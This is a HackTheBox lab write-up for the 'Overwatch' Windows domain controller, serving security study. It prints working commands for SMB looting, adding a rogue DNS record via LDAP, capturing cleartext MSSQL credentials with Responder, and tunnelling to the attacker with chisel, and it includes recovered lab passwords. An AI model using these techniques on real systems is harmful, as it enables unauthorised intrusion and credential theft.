<< return to writeups

HTB: Overwatch

Introduction

Greetings! Today, we're diving into Overwatch, a medium difficulty windows box from HackTheBox.

Our journey begins with anonymous SMB access to a software$ share containing a .NET monitoring application. Decompiling overwatch.exe with a .NET decompiler reveals hardcoded MSSQL credentials for sqlsvc. We connect to the SQL Server Express instance on port 6520, but the account has limited privileges — no xp_cmdshell, no impersonation, guest-level access only.

Enumerating the database, we discover a linked server entry called SQL07. The hostname doesn't resolve to anything real, so we use dnstool.py to add a DNS A record pointing SQL07 to our IP via LDAP. When the linked server connection fires, Responder catches the MSSQL authentication attempt in cleartext — giving us the credentials for sqlmgmt.

sqlmgmt has WinRM access. On the box, we discover the monitoring application is running as a WCF SOAP service on port 8000, bound to localhost. We forward the port with chisel and retrieve the WSDL, which exposes a KillProcess operation that takes a processName parameter. The parameter is passed directly to the system without sanitisation — a semicolon injection gives us command execution as NT AUTHORITY\SYSTEM.

Without further ado, let's get into it.

Scanning

We ran a full TCP port scan with nmap.

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ nmap -sSCV -p- -T4 -v -oA scan/nmap 10.129.1.100
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-10 10:19 EST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 10:19
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE: Active NSE Script Threads: 1 (0 waiting)
NSE Timing: About 0.00% done
Completed NSE at 10:19, 0.00s elapsed
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Initiating Ping Scan at 10:19
Scanning 10.129.1.100 [4 ports]
Completed Ping Scan at 10:19, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:19
Completed Parallel DNS resolution of 1 host. at 10:19, 0.02s elapsed
Initiating SYN Stealth Scan at 10:19
Scanning 10.129.1.100 [65535 ports]
Discovered open port 445/tcp on 10.129.1.100
Discovered open port 53/tcp on 10.129.1.100
Discovered open port 135/tcp on 10.129.1.100
Discovered open port 139/tcp on 10.129.1.100
Discovered open port 3389/tcp on 10.129.1.100
Discovered open port 9389/tcp on 10.129.1.100
SYN Stealth Scan Timing: About 12.17% done; ETC: 10:24 (0:03:44 remaining)
Discovered open port 464/tcp on 10.129.1.100
Discovered open port 3268/tcp on 10.129.1.100
Discovered open port 6520/tcp on 10.129.1.100
SYN Stealth Scan Timing: About 42.97% done; ETC: 10:22 (0:01:21 remaining)
Discovered open port 57474/tcp on 10.129.1.100
Discovered open port 49664/tcp on 10.129.1.100
Discovered open port 57473/tcp on 10.129.1.100
Discovered open port 593/tcp on 10.129.1.100
SYN Stealth Scan Timing: About 62.59% done; ETC: 10:22 (0:00:54 remaining)
Discovered open port 57616/tcp on 10.129.1.100
Discovered open port 88/tcp on 10.129.1.100
Discovered open port 3269/tcp on 10.129.1.100
Discovered open port 57599/tcp on 10.129.1.100
Discovered open port 5985/tcp on 10.129.1.100
SYN Stealth Scan Timing: About 77.88% done; ETC: 10:22 (0:00:36 remaining)
Discovered open port 49668/tcp on 10.129.1.100
Discovered open port 636/tcp on 10.129.1.100
Discovered open port 389/tcp on 10.129.1.100
Completed SYN Stealth Scan at 10:22, 148.55s elapsed (65535 total ports)
Initiating Service scan at 10:22
Scanning 21 services on 10.129.1.100
Completed Service scan at 10:23, 54.46s elapsed (21 services on 1 host)
NSE: Script scanning 10.129.1.100.
Initiating NSE at 10:23
Completed NSE at 10:23, 40.08s elapsed
Initiating NSE at 10:23
Completed NSE at 10:23, 1.98s elapsed
Initiating NSE at 10:23
Completed NSE at 10:23, 0.00s elapsed
Nmap scan report for 10.129.1.100
Host is up (0.056s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-10 15:22:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Issuer: commonName=S200401.overwatch.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-12-07T15:16:06
| Not valid after:  2026-06-08T15:16:06
| MD5:   0da8:f9a5:d788:e363:07b1:5f70:6524:ffcb
|_SHA-1: 3287:c62d:4408:7fbb:4038:00b3:32fa:da67:fb22:14bc
|_ssl-date: 2026-02-10T15:23:54+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-10T15:23:14+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6520/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-10T15:17:21
| Not valid after:  2056-02-10T15:17:21
| MD5:   5c0d:ee35:5e17:d232:dd0c:49b2:5061:553a
|_SHA-1: 22af:47ce:7796:88b3:c3d6:5e8c:7b6b:7f21:b315:4fb3
|_ssl-date: 2026-02-10T15:23:54+00:00; 0s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.1.100:6520: 
|     Target_Name: OVERWATCH
|     NetBIOS_Domain_Name: OVERWATCH
|     NetBIOS_Computer_Name: S200401
|     DNS_Domain_Name: overwatch.htb
|     DNS_Computer_Name: S200401.overwatch.htb
|     DNS_Tree_Name: overwatch.htb
|_    Product_Version: 10.0.20348
| ms-sql-info: 
|   10.129.1.100:6520: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 6520
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
57473/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
57474/tcp open  msrpc         Microsoft Windows RPC
57599/tcp open  msrpc         Microsoft Windows RPC
57616/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-02-10T15:23:15
|_  start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 10:23
Completed NSE at 10:23, 0.00s elapsed
Initiating NSE at 10:23
Completed NSE at 10:23, 0.00s elapsed
Initiating NSE at 10:23
Completed NSE at 10:23, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 245.45 seconds
           Raw packets sent: 131153 (5.771MB) | Rcvd: 117 (5.132KB)

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ 

An AD domain controller (overwatch.htb, computer: S200401) with the standard services (Kerberos, LDAP, SMB, WinRM, RDP), plus a SQL Server 2022 Express instance on port 6520 and a .NET Message Framing service on 9389. Anonymous LDAP and RPC access were both denied, so we turned to SMB.

Enumerating SMB

Anonymous SMB listing revealed an interesting non-default share: software$.

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ smbclient -L '\\10.129.1.100\'              
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        software$       Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.1.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ 

We connected to the share and found a Monitoring directory containing a .NET application with its full dependency chain — Entity Framework, SQLite libraries, PowerShell management DLLs, and the main binary overwatch.exe with its PDB and config file.

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ smbclient '\\10.129.1.100\software$'
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DH        0  Fri May 16 21:27:07 2025
  ..                                DHS        0  Thu Jan  1 01:46:47 2026
  Monitoring                         DH        0  Fri May 16 21:32:43 2025

                7147007 blocks of size 4096. 1171112 blocks available
smb: \> cd Monitoring
smb: \Monitoring\> ls
  .                                  DH        0  Fri May 16 21:32:43 2025
  ..                                 DH        0  Fri May 16 21:27:07 2025
  EntityFramework.dll                AH  4991352  Thu Apr 16 16:38:42 2020
  EntityFramework.SqlServer.dll      AH   591752  Thu Apr 16 16:38:56 2020
  EntityFramework.SqlServer.xml      AH   163193  Thu Apr 16 16:38:56 2020
  EntityFramework.xml                AH  3738289  Thu Apr 16 16:38:40 2020
  Microsoft.Management.Infrastructure.dll     AH    36864  Mon Jul 17 10:46:10 2017
  overwatch.exe                      AH     9728  Fri May 16 21:19:24 2025
  overwatch.exe.config               AH     2163  Fri May 16 21:02:30 2025
  overwatch.pdb                      AH    30208  Fri May 16 21:19:24 2025
  System.Data.SQLite.dll             AH   450232  Sun Sep 29 16:41:18 2024
  System.Data.SQLite.EF6.dll         AH   206520  Sun Sep 29 16:40:06 2024
  System.Data.SQLite.Linq.dll        AH   206520  Sun Sep 29 16:40:42 2024
  System.Data.SQLite.xml             AH  1245480  Sat Sep 28 14:48:00 2024
  System.Management.Automation.dll     AH   360448  Mon Jul 17 10:46:10 2017
  System.Management.Automation.xml     AH  7145771  Mon Jul 17 10:46:10 2017
  x64                                DH        0  Fri May 16 21:32:33 2025
  x86                                DH        0  Fri May 16 21:32:33 2025

                7147007 blocks of size 4096. 1170548 blocks available
smb: \Monitoring\> 

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ 
┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ smbclient '//10.129.1.100/software$' -c 'prompt OFF; recurse ON; mget *'
Password for [WORKGROUP\kali]:
getting file \Monitoring\EntityFramework.dll of size 4991352 as Monitoring/EntityFramework.dll (2758.6 KiloBytes/sec) (average 2758.6 KiloBytes/sec)
getting file \Monitoring\EntityFramework.SqlServer.dll of size 591752 as Monitoring/EntityFramework.SqlServer.dll (1623.3 KiloBytes/sec) (average 2568.2 KiloBytes/sec)
getting file \Monitoring\EntityFramework.SqlServer.xml of size 163193 as Monitoring/EntityFramework.SqlServer.xml (695.9 KiloBytes/sec) (average 2385.9 KiloBytes/sec)
getting file \Monitoring\EntityFramework.xml of size 3738289 as Monitoring/EntityFramework.xml (2836.6 KiloBytes/sec) (average 2545.3 KiloBytes/sec)
getting file \Monitoring\Microsoft.Management.Infrastructure.dll of size 36864 as Monitoring/Microsoft.Management.Infrastructure.dll (163.6 KiloBytes/sec) (average 2409.5 KiloBytes/sec)
getting file \Monitoring\overwatch.exe of size 9728 as Monitoring/overwatch.exe (43.6 KiloBytes/sec) (average 2283.0 KiloBytes/sec)
getting file \Monitoring\overwatch.exe.config of size 2163 as Monitoring/overwatch.exe.config (9.4 KiloBytes/sec) (average 2164.1 KiloBytes/sec)
getting file \Monitoring\overwatch.pdb of size 30208 as Monitoring/overwatch.pdb (136.6 KiloBytes/sec) (average 2067.2 KiloBytes/sec)
getting file \Monitoring\System.Data.SQLite.dll of size 450232 as Monitoring/System.Data.SQLite.dll (1259.8 KiloBytes/sec) (average 2009.3 KiloBytes/sec)
getting file \Monitoring\System.Data.SQLite.EF6.dll of size 206520 as Monitoring/System.Data.SQLite.EF6.dll (728.1 KiloBytes/sec) (average 1940.3 KiloBytes/sec)
getting file \Monitoring\System.Data.SQLite.Linq.dll of size 206520 as Monitoring/System.Data.SQLite.Linq.dll (618.6 KiloBytes/sec) (average 1861.5 KiloBytes/sec)
getting file \Monitoring\System.Data.SQLite.xml of size 1245480 as Monitoring/System.Data.SQLite.xml (1745.0 KiloBytes/sec) (average 1848.3 KiloBytes/sec)
getting file \Monitoring\System.Management.Automation.dll of size 360448 as Monitoring/System.Management.Automation.dll (884.4 KiloBytes/sec) (average 1789.9 KiloBytes/sec)
getting file \Monitoring\System.Management.Automation.xml of size 7145771 as Monitoring/System.Management.Automation.xml (1869.9 KiloBytes/sec) (average 1818.9 KiloBytes/sec)
getting file \Monitoring\x64\SQLite.Interop.dll of size 2005688 as Monitoring/x64/SQLite.Interop.dll (1424.5 KiloBytes/sec) (average 1772.4 KiloBytes/sec)
getting file \Monitoring\x86\SQLite.Interop.dll of size 1592504 as Monitoring/x86/SQLite.Interop.dll (1469.9 KiloBytes/sec) (average 1747.3 KiloBytes/sec)

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ 

Reversing the .NET binary

We opened overwatch.exe in a .NET decompiler and immediately found hardcoded MSSQL credentials embedded in the connection logic.

sqlsvc / TI0LKcfHzZw1Vv

The application config file (overwatch.exe.config) also revealed a WCF service configuration — the app exposes a SOAP endpoint at http://overwatch.htb:8000/MonitorService with an IMonitoringService contract. We noted this for later.

Enumerating MSSQL

We connected to the MSSQL instance on port 6520 using the recovered credentials.

┌──(kali㉿kali)-[~/Documents/htb/overwatch/Monitoring]
└─$ impacket-mssqlclient sqlsvc@10.129.1.100 -port 6520 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> 

The account landed with guest privileges — significantly limited. We checked every escalation path and came up short.

SQL> xp_cmdshell whoami
ERROR: The EXECUTE permission was denied on the object 'xp_cmdshell'

SQL> enable_xp_cmdshell
ERROR: User does not have permission to perform this action.

SQL> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor
----------   --------   ---------------   ----------   -------   -------

No xp_cmdshell, no impersonation, no sysadmin rights. However, enumerating linked servers revealed something interesting.

SQL (OVERWATCH\sqlsvc  guest@master)> enum_links
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      

SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      

Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------   
SQL (OVERWATCH\sqlsvc  guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.

SQL (OVERWATCH\sqlsvc  guest@master)> 

A linked server called SQL07. When we tried to use it, the connection failed — the hostname didn't resolve to anything.

Credential interception via DNS poisoning

The idea

Since sqlsvc has domain credentials, we can use LDAP to add a DNS record. If we point SQL07 to our IP and stand up a fake MSSQL listener, the linked server connection will authenticate to us — potentially in cleartext, since MSSQL linked servers often store credentials or use the connecting user's context.

Adding the DNS record

We used dnstool.py from the krbrelayx toolkit to add an A record for SQL07 pointing to our machine.

┌──(kali㉿kali)-[~/Documents/krbrelayx]
└─$ python3 dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' -dc-ip 10.129.244.81 -dns-ip 10.129.244.81 -r SQL07 -a add -t A -d 10.10.14.9 overwatch.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Catching the credentials

We started Responder on our interface and triggered the linked server connection from within MSSQL (use_link SQL07). The connection attempt hit our fake MSSQL listener and the credentials arrived in cleartext.

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ sudo responder -I tun0                                                
[sudo] password for kali: 
Sorry, try again.
[sudo] password for kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.6.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.9]
    Responder IPv6             [dead:beef:2::1007]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-HW4GLS1CEQC]
    Responder Domain Name      [WWHG.LOCAL]
    Responder DCE-RPC Port     [45136]

[+] Listening for events...                                                                                                                                                                                                                                  

[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

New credentials: sqlmgmt / bIhBbzMMnB82yx.

Shell as sqlmgmt

sqlmgmt has WinRM access on the box.

*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt

Privilege escalation via WCF SOAP command injection

Discovering the internal service

From the application config we'd already read, we knew a WCF SOAP service was running at http://overwatch.htb:8000/MonitorService. Confirming with netstat, port 8000 was bound to 0.0.0.0 but only accessible locally.

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ cat Monitoring/overwatch.exe.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <system.serviceModel>
    <services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>
        </host>
        <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      </service>
    </services>
    <behaviors>
      <serviceBehaviors>
        <behavior>
          <serviceMetadata httpGetEnabled="True" />
          <serviceDebug includeExceptionDetailInFaults="True" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>
  <entityFramework>
    <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
      <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    </providers>
  </entityFramework>
  <system.data>
    <DbProviderFactories>
      <remove invariant="System.Data.SQLite.EF6" />
      <add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
    <remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
  </system.data>
</configuration>
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       940
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       940
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       384
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2852
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       540
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1208
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1624
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       1616
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:49771          0.0.0.0:0              LISTENING       6112
  TCP    0.0.0.0:54204          0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:63999          0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:64000          0.0.0.0:0              LISTENING       2808

We forwarded it to our machine using chisel.

# On the target
*Evil-WinRM* PS C:\Windows\Tasks> .\chisel.exe client 10.10.14.9:51234 R:8000:127.0.0.1:8000
chisel.exe : 2026/02/12 06:18:02 client: Connecting to ws://10.10.14.9:51234
    + CategoryInfo          : NotSpecified: (2026/02/12 06:1...0.10.14.9:51234:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/02/12 06:18:02 client: Connected (Latency 61.3224ms)
# On Kali
┌──(kali㉿kali)-[~/Documents/pentest-tools/chisel]
└─$ ./chisel64 server --reverse --port 51234
2026/02/12 09:16:31 server: Reverse tunnelling enabled
2026/02/12 09:16:31 server: Fingerprint E3RIjIQjne6cDLMJTtvWeQMTZjsH5wwalffEDi39KEE=
2026/02/12 09:16:31 server: Listening on http://0.0.0.0:51234
2026/02/12 09:18:03 server: session#1: Client version (1.11.3) differs from server version (1.10.1)
2026/02/12 09:18:03 server: session#1: tun: proxy#R:8000=>8000: Listening

Analysing the WSDL

We fetched the WSDL from the forwarded endpoint. The service exposes three operations: StartMonitoring, StopMonitoring, and KillProcess. The KillProcess operation takes a single processName string parameter — and given this is a monitoring tool that kills processes by name, it's very likely calling something like taskkill or Stop-Process under the hood.

┌──(kali㉿kali)-[~/Documents/htb/overwatch]
└─$ cat wsdl.xml 

<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions name="MonitoringService" targetNamespace="http://tempuri.org/"
    xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
    xmlns:wsam="http://www.w3.org/2007/05/addressing/metadata"
    xmlns:wsx="http://schemas.xmlsoap.org/ws/2004/09/mex"
    xmlns:wsap="http://schemas.xmlsoap.org/ws/2004/08/addressing/policy"
    xmlns:msc="http://schemas.microsoft.com/ws/2005/12/wsdl/contract"
    xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"
    xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
    xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:tns="http://tempuri.org/"
    xmlns:wsa10="http://www.w3.org/2005/08/addressing"
    xmlns:wsaw="http://www.w3.org/2006/05/addressing/wsdl"
    xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing">
    <wsdl:types>
        <xs:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/"
            xmlns:xs="http://www.w3.org/2001/XMLSchema">
            <xs:element name="StartMonitoring">
                <xs:complexType>
                    <xs:sequence/>
                </xs:complexType>
            </xs:element>
            <xs:element name="StartMonitoringResponse">
                <xs:complexType>
                    <xs:sequence>
                        <xs:element minOccurs="0" name="StartMonitoringResult" nillable="true" type="xs:string"/>
                    </xs:sequence>
                </xs:complexType>
            </xs:element>
            <xs:element name="StopMonitoring">
                <xs:complexType>
                    <xs:sequence/>
                </xs:complexType>
            </xs:element>
            <xs:element name="StopMonitoringResponse">
                <xs:complexType>
                    <xs:sequence>
                        <xs:element minOccurs="0" name="StopMonitoringResult" nillable="true" type="xs:string"/>
                    </xs:sequence>
                </xs:complexType>
            </xs:element>
            <xs:element name="KillProcess">
                <xs:complexType>
                    <xs:sequence>
                        <xs:element minOccurs="0" name="processName" nillable="true" type="xs:string"/>
                    </xs:sequence>
                </xs:complexType>
            </xs:element>
            <xs:element name="KillProcessResponse">
                <xs:complexType>
                    <xs:sequence>
                        <xs:element minOccurs="0" name="KillProcessResult" nillable="true" type="xs:string"/>
                    </xs:sequence>
                </xs:complexType>
            </xs:element>
        </xs:schema>
        <xs:schema attributeFormDefault="qualified" elementFormDefault="qualified" targetNamespace="http://schemas.microsoft.com/2003/10/Serialization/"
            xmlns:xs="http://www.w3.org/2001/XMLSchema"
            xmlns:tns="http://schemas.microsoft.com/2003/10/Serialization/">
            <xs:element name="anyType" nillable="true" type="xs:anyType"/>
            <xs:element name="anyURI" nillable="true" type="xs:anyURI"/>
            <xs:element name="base64Binary" nillable="true" type="xs:base64Binary"/>
            <xs:element name="boolean" nillable="true" type="xs:boolean"/>
            <xs:element name="byte" nillable="true" type="xs:byte"/>
            <xs:element name="dateTime" nillable="true" type="xs:dateTime"/>
            <xs:element name="decimal" nillable="true" type="xs:decimal"/>
            <xs:element name="double" nillable="true" type="xs:double"/>
            <xs:element name="float" nillable="true" type="xs:float"/>
            <xs:element name="int" nillable="true" type="xs:int"/>
            <xs:element name="long" nillable="true" type="xs:long"/>
            <xs:element name="QName" nillable="true" type="xs:QName"/>
            <xs:element name="short" nillable="true" type="xs:short"/>
            <xs:element name="string" nillable="true" type="xs:string"/>
            <xs:element name="unsignedByte" nillable="true" type="xs:unsignedByte"/>
            <xs:element name="unsignedInt" nillable="true" type="xs:unsignedInt"/>
            <xs:element name="unsignedLong" nillable="true" type="xs:unsignedLong"/>
            <xs:element name="unsignedShort" nillable="true" type="xs:unsignedShort"/>
            <xs:element name="char" nillable="true" type="tns:char"/>
            <xs:simpleType name="char">
                <xs:restriction base="xs:int"/>
            </xs:simpleType>
            <xs:element name="duration" nillable="true" type="tns:duration"/>
            <xs:simpleType name="duration">
                <xs:restriction base="xs:duration">
                    <xs:pattern value="\-?P(\d*D)?(T(\d*H)?(\d*M)?(\d*(\.\d*)?S)?)?"/>
                    <xs:minInclusive value="-P10675199DT2H48M5.4775808S"/>
                    <xs:maxInclusive value="P10675199DT2H48M5.4775807S"/>
                </xs:restriction>
            </xs:simpleType>
            <xs:element name="guid" nillable="true" type="tns:guid"/>
            <xs:simpleType name="guid">
                <xs:restriction base="xs:string">
                    <xs:pattern value="[\da-fA-F]{8}-[\da-fA-F]{4}-[\da-fA-F]{4}-[\da-fA-F]{4}-[\da-fA-F]{12}"/>
                </xs:restriction>
            </xs:simpleType>
            <xs:attribute name="FactoryType" type="xs:QName"/>
            <xs:attribute name="Id" type="xs:ID"/>
            <xs:attribute name="Ref" type="xs:IDREF"/>
        </xs:schema>
    </wsdl:types>
